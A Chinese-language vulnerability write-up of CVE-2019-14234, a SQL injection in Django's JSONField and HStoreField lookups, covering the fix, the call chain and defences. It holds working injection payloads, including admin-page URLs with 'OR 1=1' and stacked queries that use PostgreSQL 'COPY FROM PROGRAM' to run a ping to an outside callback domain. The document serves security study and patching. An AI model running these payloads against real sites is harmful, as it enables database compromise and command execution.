CVE-2019-14234 Django JSON SQL注入 分析
字数 1618 2025-08-27 12:33:43
Django JSON SQL注入漏洞(CVE-2019-14234)深度分析与教学
0x00 漏洞概述
CVE-2019-14234是Django框架中的一个SQL注入漏洞,影响JSONField和HStoreField字段的键和索引查找功能。攻击者可以通过精心构造的字典参数传递给QuerySet.filter()方法,实现SQL注入攻击。
0x01 漏洞修复分析
官方修复方式主要涉及两个文件:
-
django/contrib/postgres/fields/hstore.py:- 修改了
KeyTransform类的as_sql函数 - 将直接传递字符串改为使用数组传递
self.key_name - 使用
%%作为转换说明符,直接转化为单个%符号
- 修改了
-
django/contrib/postgres/fields/jsonb.py:- 统一将
self.key_name变量的返回改为使用数组转换 - 在单元测试中增加了对
JSONField的SQL注入测试
- 统一将
0x02 漏洞原理
受影响组件
JSONField: 支持存储和查询JSON数据,支持整数、布尔值和嵌套字典等复杂类型HStoreField: 类似JSONField但主要用于键值对存储,性能更好但功能较少
漏洞触发点
漏洞存在于通过**kwargs传递键值对绕过QuerySet.filter()方法的安全检查。攻击者可以构造恶意字典参数,利用字典展开功能实现SQL注入。
查询方式
正常查询方式:
Json.objects.filter(data__breed='test')
# 或
Json.objects.filter(**{"data__breed":'test'})
注入Payload
Json.objects.filter(**{"""data__breed'='"a"') OR 1=1 OR('d""":'x',})
生成的SQL语句:
SELECT * FROM app01_json WHERE (data->'breed' ? 'a') OR 1=1 OR (data->'a'?'x');
0x03 漏洞分析
关键类与方法
-
KeyTransform类:- 负责处理JSON/HStore字段的键转换
as_sql方法生成SQL片段
-
KeyTransformFactory类:- 调用
KeyTransform并传入self.key_name
- 调用
-
RegisterLookupMixin类:- 提供查询API接口
- 包含
get_lookup和get_transform方法
漏洞调用链
- 查询请求进入
RegisterLookupMixin.get_transform() - 通过
_get_lookup获取查找方法 - 调用
KeyTransformFactory生成KeyTransform实例 KeyTransform.as_sql()生成SQL片段时未正确过滤self.key_name
调试分析
在as_sql方法中,最终生成的SQL片段格式:
"(%s %s %s)" % (lhs, self.operator, lookup)
其中params为:
("app01_json"."data" -> 'breed') []
0x04 攻击场景
1. 后台管理界面注入
Django后台默认使用**kwargs方式传参,可通过URL参数注入:
http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d1 %2d%2d OR (%22app01_json%22.%22data%22 -> %27data
生成SQL:
SELECT "app01_json"."id", "app01_json"."name", "app01_json"."data"
FROM "app01_json"
WHERE ("app01_json"."data" -> 'breed'?'a') OR 1=1 -- OR ("app01_json"."data" -> 'data') = %s
ORDER BY "app01_json"."id" DESC
2. PostgreSQL命令执行
- 创建表:
http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCREATE table cmd_exec(cmd_output text) %2d%2d OR (%22app01_json%22.%22data%22 -> %27data
- 执行命令:
http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCOPY cmd_exec FROM PROGRAM %27ping christa.ccccc.ceye.io%27 %2d%2d OR (%22app01_json%22.%22data%22 -> %27data
0x05 防御措施
- 及时升级到修复版本
- 对用户输入进行严格过滤和验证
- 使用参数化查询
- 最小权限原则,限制数据库用户权限
0x06 参考链接
- Django安全公告:https://www.djangoproject.com/weblog/2019/aug/01/security-releases/
- 官方修复提交:https://github.com/django/django/commit/7deeabc7c7526786df6894429ce89a9c4b614086
- Django文档:https://docs.djangoproject.com/en/2.2/ref/contrib/postgres/fields/
- PostgreSQL命令执行:https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5